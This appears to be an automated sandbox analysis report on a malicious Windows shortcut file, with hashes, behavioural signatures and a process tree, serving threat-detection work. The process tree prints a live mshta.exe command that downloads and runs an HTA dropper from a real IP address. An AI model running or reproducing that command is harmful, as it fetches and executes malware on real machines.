Resubmissions

30-04-2024 13:47

240430-q31wpsgd21 10

19-04-2024 12:12

240419-pdkbzscd2x 10

Analysis

  • max time kernel
    66s
  • max time network
    56s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-04-2024 13:47

General

  • Target

    4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk

  • Size

    1KB

  • MD5

    c5140207d2276f64b3a8f4ccd3487723

  • SHA1

    4d688086cd47a23444b2329fbd83a3740c40d0ca

  • SHA256

    4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4

  • SHA512

    ac0a2830b6f4bc36901252f1c0dc575f07a24c3194dec822964f59f6f7291e64e23522a8c956afd24de68122b782aa283ce97ef2e4720587feb2bd67a443c210

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://194.180.191.34/pr/relationship.tmp

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://194.180.191.34/pr/relationship.tmp /f
      2⤵
      • Blocklisted process makes network request
      PID:3496
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4572

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads